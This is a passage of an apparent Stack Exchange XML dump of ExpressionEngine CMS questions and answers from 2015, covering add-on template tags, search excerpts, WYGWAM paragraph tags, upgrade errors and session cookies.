alt=&quot;previous&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/image:paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working for me. I do recall at some point that &lt;code&gt;{if:else}&lt;/code&gt; was just not working in Channel Images, and when I was pursuing the question some time ago, there was never a resolution. I don't know if &lt;code&gt;{if:else}&lt;/code&gt; will work now in Channel Images or not (I have 5.14.8). But with the new support system from DevDemon, I'd have to pay to find out.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2015-06-17T22:33:59.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31988" PostTypeId="1" CreationDate="2015-06-17T22:36:13.390" Score="0" ViewCount="159" Body="&lt;p&gt;I'm not exactly sure why, but {low_search_excerpt} is not rendering in my search results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:results collection=&quot;careers|doctors|locations|patient-stories|services|specialties|static&quot; status=&quot;open&quot; limit=&quot;10&quot; dynamic=&quot;no&quot; paginate=&quot;both&quot; status=&quot;open&quot; keywords:inflect=&quot;yes&quot; keywords:lang=&quot;en&quot; keywords:mode=&quot;auto&quot; keywords:loose=&quot;right&quot; keywords:stem=&quot;yes&quot;}&#xA;&#xA;    &amp;lt;p&amp;gt;{low_search_excerpt}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Things I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I've chosen an excerpt for each collection listed.&lt;/li&gt;&#xA;&lt;li&gt;I went to each channel and verified that the correct field is chosen for an excerpt&lt;/li&gt;&#xA;&lt;li&gt;I rebuilt the index and lexicon for each collection listed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I appreciate any help you can offer!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran the query in the link you sent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM exp_extensions WHERE hook = 'channel_entries_query_result'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following extensions using that hook are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assets_ext &lt;/li&gt;&#xA;&lt;li&gt;Low_search_ext&lt;/li&gt;&#xA;&lt;li&gt;Ep_better_workflow_ext&lt;/li&gt;&#xA;&lt;li&gt;Low_reorder_ext&lt;/li&gt;&#xA;&lt;li&gt;Super_search_ext&lt;/li&gt;&#xA;&lt;li&gt;Low_alphabet_ext&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is my form code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form &#xA;    result_page=&quot;/search/doctors/&quot;&#xA;    collection=&quot;doctors&quot;&#xA;    form_id=&quot;doctor-ajax-filter&quot;&#xA;}&#xA;&#xA;&amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; placeholder=&quot;Search for a physician name, condition or location...&quot; value=&quot;{low_search_keywords}&quot;&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot; class=&quot;button button-postfix-search&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-search&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/button&amp;gt;&#xA;&#xA;... NOTE THAT I HAVE THE RESULTS TAG INSIDE THE FORM TAG. I NEEDED TO DO THIS BECAUSE OF THE WAY THE PAGE IS STRUCTURED&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could it be that I'm getting a conflict between Super Search and Low Search? The reason I have SS enabled is that I'm in the process of stripping it out all together and replacing it with your much awesomer search! Or, do you think it's because I have the form tag wrapping the results tag?&lt;/p&gt;&#xA;" OwnerUserId="2934" LastEditorUserId="2934" LastEditDate="2015-06-18T16:11:46.717" LastActivityDate="2016-05-27T13:56:31.277" Title="Low Search excerpt not rendering in Low Search Results" Tags="|low-search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31990" PostTypeId="2" ParentId="31081" CreationDate="2015-06-18T14:07:43.350" Score="0" Body="&lt;p&gt;You could use an if statement to override the inclusive_categories parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your search string is in the url and assuming inclusive_categories has &quot;no&quot;  as a default value, you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {exp:super_search:results {if segment_x}inclusive_categories=&quot;yes&quot;{/if}}&#xA;    Results&#xA;   {/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-06-18T14:07:43.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31991" PostTypeId="2" ParentId="31988" CreationDate="2015-06-18T16:16:33.240" Score="0" Body="&lt;p&gt;I managed to answer my own question. The reason it was not working is because I was wrapping the low_search:results tag with the low_search:form tag. Apparently this causes the excerpts to break. The page in question does not require that I structure my code this way, so I can easily fix. Is this a bug, or expected functionality?&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-06-18T16:16:33.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31992" PostTypeId="2" ParentId="13621" CreationDate="2015-06-18T16:57:19.367" Score="0" Body="&lt;p&gt;This could be related to a bug that causes &lt;a href=&quot;http://php.net/manual/en/pcre.configuration.php#ini.pcre.backtrack-limit&quot; rel=&quot;nofollow&quot;&gt;PREG_BACKTRACK_LIMIT_ERROR&lt;/a&gt; when parsing tag pairs. Essentially the regular expression thats used to find chunks of the template by pairing opening and closing tags doesn't perform efficiently enough in some cases. Here is the &lt;a href=&quot;https://support.ellislab.com/bugs/detail/21004/regex-catastrophic-backtracking-in-get_pair_field&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bug report contains a work around that may work for you. In &lt;code&gt;system/expressionengine/libraries/api/Api_channel_fields.php&lt;/code&gt; change line &lt;code&gt;1852&lt;/code&gt; (this line number is from the 2.9.2 codebase, so it may differ, should be within the &lt;code&gt;get_pair_field&lt;/code&gt; function) to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (preg_match(&quot;/&quot;.LD.&quot;{$field_name}((?::[^\s}]+)?)(\s.*?)?&quot;.RD.&quot;(.*?)&quot;.LD.'\/'.&quot;{$field_name}\\1&quot;.RD.&quot;/s&quot;, $tagdata, $matches, 0, $offset)) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2015-06-18T16:57:19.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31993" PostTypeId="1" CreationDate="2015-06-18T18:22:50.210" Score="0" ViewCount="107" Body="&lt;p&gt;EE 2.9.3&#xA;CV 3.2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having some trouble getting channel videos to ouput code. For troubleshooting purposes I set up a test template with nothing in it except the example code from the &lt;a href=&quot;http://www.devdemon.com/documentation/tag/videos/&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; - bottom of the page. The only thing I've done different is hard code an entry_id that I know has channel videos content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;not foo&quot; entry_id=&quot;131&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {exp:channel_videos:videos entry_id=&quot;131&quot;}&#xA;        &amp;lt;h3&amp;gt;{video:title}&amp;lt;/h3&amp;gt;&#xA;        {video:embed_code}&#xA;    {/exp:channel_videos:videos}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why this would not be working? The title of the entry is displayed correctly but nothing from the channel:videos tag shows up.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2015-06-18T18:38:46.017" LastActivityDate="2016-07-25T17:28:54.443" Title="Channel Videos - outputting nothing" Tags="|channel-videos|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31994" PostTypeId="1" AcceptedAnswerId="31995" CreationDate="2015-06-18T18:55:36.163" Score="1" ViewCount="118" Body="&lt;p&gt;To start I checkboxed &quot;Save As File&quot; for everything.  EE Templates and Low Variables.  I was reading on performance and from what I can tell, doing that, save as file is a performance drainer.  Can anyone verify that, should I uncheck the option?&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2015-08-01T06:40:48.710" Title="Save As File &amp; Low Variables" Tags="|templates|low-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31995" PostTypeId="2" ParentId="31994" CreationDate="2015-06-18T19:51:10.413" Score="1" Body="&lt;p&gt;Lol wut? Unless your database is behind a caching service (like memcache) and therefore loaded in memory, grabbing your files from your database is much more overhead. Where do you think database files are stored ;) ? They are on hard drives too. A well tuned, cached database would be faster for reads, but if you don't have that going on, saving as a file is much better. It also allows you to edit your template files with the editor of your choice, and well as set your templates in a repository. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save as file is undoubtedly way better than just hitting the database. The only place it hurts is if you use the EE template editor, than on write you'll be hitting both the database and writing the file, but seriously, are you saveing templates through the EE template editor at a rate of 20 or 30 times a minute all day? Nope. Reads, however, just hit the file (when someone visit a page on your site). Which is definitely faster.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-01T06:40:48.710" LastActivityDate="2015-08-01T06:40:48.710" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31996" PostTypeId="1" AcceptedAnswerId="32011" CreationDate="2015-06-18T20:19:20.650" Score="1" ViewCount="52" Body="&lt;p&gt;after upgrading from v2.1.3 to v2.10 i am no longer seeing several cookies including exp_uniqueid, exp_userhash, and exp_memberid. I can only seem to log into the admin CP and not the site anymore. &lt;/p&gt;&#xA;" OwnerUserId="6406" LastActivityDate="2015-06-19T14:54:48.957" Title="missing cookies after upgrade to 2.10" Tags="|upgrade|ee|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31997" PostTypeId="1" CreationDate="2015-06-18T20:20:03.520" Score="0" ViewCount="119" Body="&lt;p&gt;I'll preface this by saying that I am asking for information, not a coding solution. At this point, it is unclear to me why EllisLab would intentionally do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating an edit form for a channel entry. Inside my &lt;code&gt;{exp:channel:form}&lt;/code&gt; loop, which works, I try to output a date variable with specific formatting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I output the date variable &lt;strong&gt;once&lt;/strong&gt; with a format parameter...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{p_date_available format=&quot;%Y-%m-%d&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...the variable is not parsed on the front-end. &lt;strong&gt;However&lt;/strong&gt;, if I place the date variable in my template &lt;strong&gt;twice&lt;/strong&gt;, once without the format parameter and once with the format parameter, my problem is solved. Placement of these two instances of the variable is irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide an explanation as to why the channel form tag does this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Here is a snippet of the code for understanding the parse order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;product&quot; class=&quot;styled-form&quot; return=&quot;dashboard&quot; datepicker=&quot;no&quot; url_title=&quot;{segment_3}&quot; require_entry=&quot;yes&quot;}&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;        &amp;lt;input type=&quot;date&quot; id=&quot;p_date_available&quot; name=&quot;p_date_available&quot; value=&quot;{p_date_available format=&quot;%Y-%m-%d&quot;}&quot; required/&amp;gt;&#xA;        &amp;lt;!-- put here to force EE parsing of formatted date variable--&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; value=&quot;{p_date_available}&quot;/&amp;gt;&#xA;    {/exp:store:product}&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2916" LastEditorUserId="2916" LastEditDate="2015-06-19T15:11:16.580" LastActivityDate="2016-05-23T19:41:48.743" Title="Outputting date variables with formatting in Channel Form" Tags="|safecracker|date|date-format|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31998" PostTypeId="1" CreationDate="2015-06-18T21:00:55.950" Score="0" ViewCount="107" Body="&lt;p&gt;When setting fields to Required and testing the form submission, I noticed the text &lt;strong&gt;form:error:required_field&lt;/strong&gt; shows up. Is there a way to change the text to something else? I want it to just say Required Field or Value is Required. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hI0pX.png&quot; alt=&quot;form error - required field&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6340" LastActivityDate="2016-06-01T22:15:25.310" Title="DevDemon Forms - form:error:required_error" Tags="|error|forms|devdemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31999" PostTypeId="1" CreationDate="2015-06-18T21:10:31.537" Score="0" ViewCount="48" Body="&lt;p&gt;I've gone through the Channel Images documentation, but didn't find this issue addressed. In the entry screen (in table form) the thumbnail of the images is quite small -- so small, that it's difficult to see which image is which when I'm working on the order of the images for a gallery. Switching to tile view doesn't work, because that gets rid of other editing options that I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's true that clicking on a thumb in the table view of the entry screen brings up a large view of the image, but for workflow of determining an order of a bunch of images, it's not practical to have to constantly click open an image, then close the window, and back and forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know if it's possible to make the thumbs in the entry screen larger, like maybe the size they are in the tile view? If not currently, I think this would be a great enhancement and would really improve the user workflow.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2016-05-25T02:56:32.643" Title="Possible to have larger thumbnails in Channel Images entry screen?" Tags="|devdemon|channel-images|thumbnails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32000" PostTypeId="1" AcceptedAnswerId="32007" CreationDate="2015-06-18T23:00:29.140" Score="0" ViewCount="1132" Body="&lt;p&gt;I'd like to know how to remove automatic &lt;p&gt; wrapping tags that outputs in page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;summary&quot;&amp;gt;{sous_titre}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I wrote inside my template. As you can see, I already put myself a &lt;p&gt; tag with a class summary. But in the code source of my page, this is what I get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;summary&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;My text bla bla bla&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really don't understand that messed up right there. Tho, I just wanted to output what's inside my wygwam..anyway, so I did some research around forums and found out that I should go in WYGWAM advanced settings and set autoParagraph to No. I did that and I still get the same f%^&amp;amp;* results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone fixed this once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx&lt;/p&gt;&#xA;" OwnerUserId="4975" LastActivityDate="2015-06-19T14:13:13.390" Title="How to remove &lt;p&gt; tags from WYGWAM" Tags="|wygwam|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32001" PostTypeId="1" CreationDate="2015-06-19T00:01:09.780" Score="0" ViewCount="63" Body="&lt;p&gt;Noob question, but trying to get all channels to show single entry by latest date on the homepage of the site. User guide says leave blank and will default to all, but no luck. I have 71 channels and doing all of them would be a real bear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6197" LastActivityDate="2015-12-17T07:26:54.913" Title="Multiple Channel Entries on homepage" Tags="|multiple-channels|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32002" PostTypeId="2" ParentId="32000" CreationDate="2015-06-19T00:33:22.060" Score="1" Body="&lt;p&gt;You might go about this using an add-on, using &lt;a href=&quot;https://devot-ee.com/add-ons/ce-string&quot; rel=&quot;nofollow&quot;&gt;CE String&lt;/a&gt; or free add-ons, &lt;a href=&quot;https://devot-ee.com/add-ons/remove-html&quot; rel=&quot;nofollow&quot;&gt;Remove HTML&lt;/a&gt;, &lt;a href=&quot;https://devot-ee.com/add-ons/supergeekery-tag-stripper&quot; rel=&quot;nofollow&quot;&gt;SuperGeeky Tag Stripper&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use CE String personally, but the others will do just as well.&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2015-06-19T00:33:22.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32003" PostTypeId="1" AcceptedAnswerId="32005" CreationDate="2015-06-19T00:58:50.260" Score="0" ViewCount="127" Body="&lt;p&gt;My site, which was running 2.9.x, was delivering a blank page today. In the past, I've found that getting the current version was the first step to debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I decided to start by upgrading to the current version of EE.  After following the directions and clicking on the Upgrade button, I received the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1&#xA;&#xA;Can't create/write to file '/tmp/#sql_26a4_0.MYI' (Errcode: 30)&#xA;&#xA;SHOW COLUMNS FROM `exp_sessions`&#xA;&#xA;Filename: /home/bp/public_html/ee_cms/expressionengine/libraries/Smartforge.php&#xA;&#xA;Line Number: 122&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Oh, crap. Please help.&lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2015-06-19T13:05:24.030" Title="Error when upgrading to 2.10.1 - Site not working" Tags="|upgrade|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32004" PostTypeId="2" ParentId="31994" CreationDate="2015-06-19T10:15:29.830" Score="3" Body="&lt;p&gt;Enabling Save As Files in Low Variables does have a slight performance impact. In order to tie in to native EE functionalities, LV needs to update the native &lt;code&gt;exp_global_variables&lt;/code&gt; table with the data gathered from the files. This means, in contrast to what jchrono-battle is saying, EE does not load from the DB &lt;em&gt;or&lt;/em&gt; filesystem, as far as LV is concerned. Rather than that, the files are synced from/to the DB and then loaded from the DB later on in the process. When not saving as files, the first step is skipped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice would be to use the Save As Files option only in development environments, and don't use it in production sites.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-06-19T10:15:29.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32005" PostTypeId="2" ParentId="32003" CreationDate="2015-06-19T13:05:24.030" Score="1" Body="&lt;p&gt;You are having a weird disk corruption issue, here ya go homie:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thecancerus.com/how-to-fix-mysql-error-error-code-30/&quot; rel=&quot;nofollow&quot;&gt;http://thecancerus.com/how-to-fix-mysql-error-error-code-30/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need control of your server for this fix. If you have control, back things up and go for it, if not, you should nicely ask your hosting partner to look into this issue.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-19T13:05:24.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32006" PostTypeId="2" ParentId="32001" CreationDate="2015-06-19T13:46:27.897" Score="1" Body="&lt;p&gt;Like Michael said, 71 channels seems like alot! sounds like you wanted to categorise similar entries instead of seperating by channel! However...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ours is not to reason why, ours is but to do and die&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;SO, here's your solution. I use SQL to draw the 'Maxed' entries out of the DB (grouped by channel), from this I can then populate a single &lt;code&gt;exp:channel@entries&lt;/code&gt; loop. We need to use some PHP on the template, and it needs to be on &lt;em&gt;input&lt;/em&gt; so we can use it to populate our entries tag : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  //get the entry_ids for the max entry date, by channel&#xA;  $res = ee()-&amp;gt;db-&amp;gt;query('&#xA;    SELECT entry_id &#xA;    FROM (&#xA;      SELECT * &#xA;      FROM exp_channel_titles &#xA;      ORDER BY entry_date DESC&#xA;    ) AS a &#xA;    GROUP BY channel_id &#xA;    ORDER BY channel_id ASC&#xA;  ');&#xA;&#xA;  //concatenate the results into a string&#xA;  $eids = &quot;&quot;;&#xA;  if ( $res-&amp;gt;num_rows() &amp;gt; 0 ) {&#xA;    $eids = implode(&quot;|&quot;,$res-&amp;gt;result_array());&#xA;  } else {&#xA;    //break the string of entry id's if we have no results&#xA;    $eids = &quot;XX&quot;;&#xA;  }&#xA;?&amp;gt;&#xA;&#xA;{exp:channel:entries dynamic=&quot;no&quot; fixed_order=&quot;&amp;lt;?php echo $eids; ?&amp;gt;&quot;}&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;sup&amp;gt;{channel}&amp;lt;/sup&amp;gt;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;a href=&quot;{url_title_path='group/template'}&quot;&amp;gt;permalink&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PHP &lt;strong&gt;ON&lt;/strong&gt; on &lt;strong&gt;Input&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;references&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.0/en/example-maximum-column-group-row.html&quot; rel=&quot;nofollow&quot;&gt;https://dev.mysql.com/doc/refman/5.0/en/example-maximum-column-group-row.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#fixed-order&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#fixed-order&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-19T13:46:27.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32007" PostTypeId="2" ParentId="32000" CreationDate="2015-06-19T14:01:42.907" Score="1" Body="&lt;p&gt;Sounds like the parameter text_only=&quot;yes&quot; should sort you out. &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/templating/field.html#text-only-mode&quot; rel=&quot;nofollow&quot;&gt;Documentation.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2015-06-19T14:01:42.907" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32008" PostTypeId="2" ParentId="32000" CreationDate="2015-06-19T14:13:13.390" Score="0" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ptETs.jpg&quot; alt=&quot;Channel Field Preferences&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at that channel field's settings. You need to edit this section to be &quot;None&quot;. When you change it, &lt;strong&gt;make&lt;/strong&gt; sure you say yes to reformatting all of your entries for channels that have that field group assigment to fix previous entries. To be safe, &lt;strong&gt;back&lt;/strong&gt; up your channel_entries data tables before making this change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this will allow your text fields to output without p tags!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-19T14:13:13.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32009" PostTypeId="1" CreationDate="2015-06-19T14:33:39.880" Score="0" ViewCount="37" Body="&lt;p&gt;I want to offer people shopping on my Xpresso Store the option of collecting their order from our HQ. I call this 'Click and Collect'. So basically they select this option when checking out and no shipping costs are charged, instead they simply come and pick them up. Thank you&lt;/p&gt;&#xA;" OwnerUserId="6407" LastActivityDate="2016-06-05T23:58:43.747" Title="How can I set up a click and collect type of shipping option where a customer collects their order from us" Tags="|shipping|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32010" PostTypeId="1" AcceptedAnswerId="32016" CreationDate="2015-06-19T14:37:29.203" Score="0" ViewCount="126" Body="&lt;p&gt;For the module I am developing I would like to add a new menu button in the control panel. I could do that manually, but I was wondering if there is a standard EE function to add a new menu button when the module is being installed?&lt;/p&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-06-19T14:58:48.277" LastActivityDate="2015-06-19T16:41:28.460" Title="Add a new menu button in control panel on module installation" Tags="|control-panel|add-on-development|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32011" PostTypeId="2" ParentId="31996" CreationDate="2015-06-19T14:54:48.957" Score="1" Body="&lt;p&gt;I'm going to jot down what I have in my bog standard 2.10.1 install, after logging in. My install is fully working.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHPSESSID (for finding server session)&lt;/li&gt;&#xA;&lt;li&gt;exp_sessionid (for finding your ee session)&lt;/li&gt;&#xA;&lt;li&gt;exp_csrf_token (for Form anti-forgery)&lt;/li&gt;&#xA;&lt;li&gt;exp_expiration&lt;/li&gt;&#xA;&lt;li&gt;exp_last_activity&lt;/li&gt;&#xA;&lt;li&gt;exp_last_visit&lt;/li&gt;&#xA;&lt;li&gt;exp_perpage&lt;/li&gt;&#xA;&lt;li&gt;exp_tracker&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think the 'missing' cookies are actually a good thing! With them MITM attacks and other personal information gathering vectors could be used. I beleive EE now uses a more standard principle of toring your session in the DB, the session vars in your PHP session, and just a couple of reference fields for matching are sent via cookies (noted above). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is way more secure, yes we have a couple of nuggets of info but these are de-personalised. i.e. if I visited your machine while you were taking a 'toilet break' I could lift your cookies, they'd tell me when &lt;em&gt;someone&lt;/em&gt; was last on the site on your computer, but doesn't tell me anything about what user it was...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course we don't have an answer yet as to why your login Is not working. We need to check the basics first (sorry):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Clear Cache, Clear Cookies, Go Private Browsing, authenticate and monitor the cookies sent&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Please can you check and let us know your Security Settings (&lt;code&gt;Admin &amp;gt; Security &amp;amp; Privacy &amp;gt; Security &amp;amp; Sessions&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-19T14:54:48.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32013" PostTypeId="2" ParentId="32009" CreationDate="2015-06-19T15:37:37.733" Score="0" Body="&lt;p&gt;it would be preferable if you look at the Documentation before asking. I don't know this extension, but on this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.exp-resso.com/docs/settings_shipping_methods.html&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/settings_shipping_methods.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it seems clear that you can just create a shipping method with no shipping cost and title it &quot;Click and Collect&quot;. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-19T15:37:37.733" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
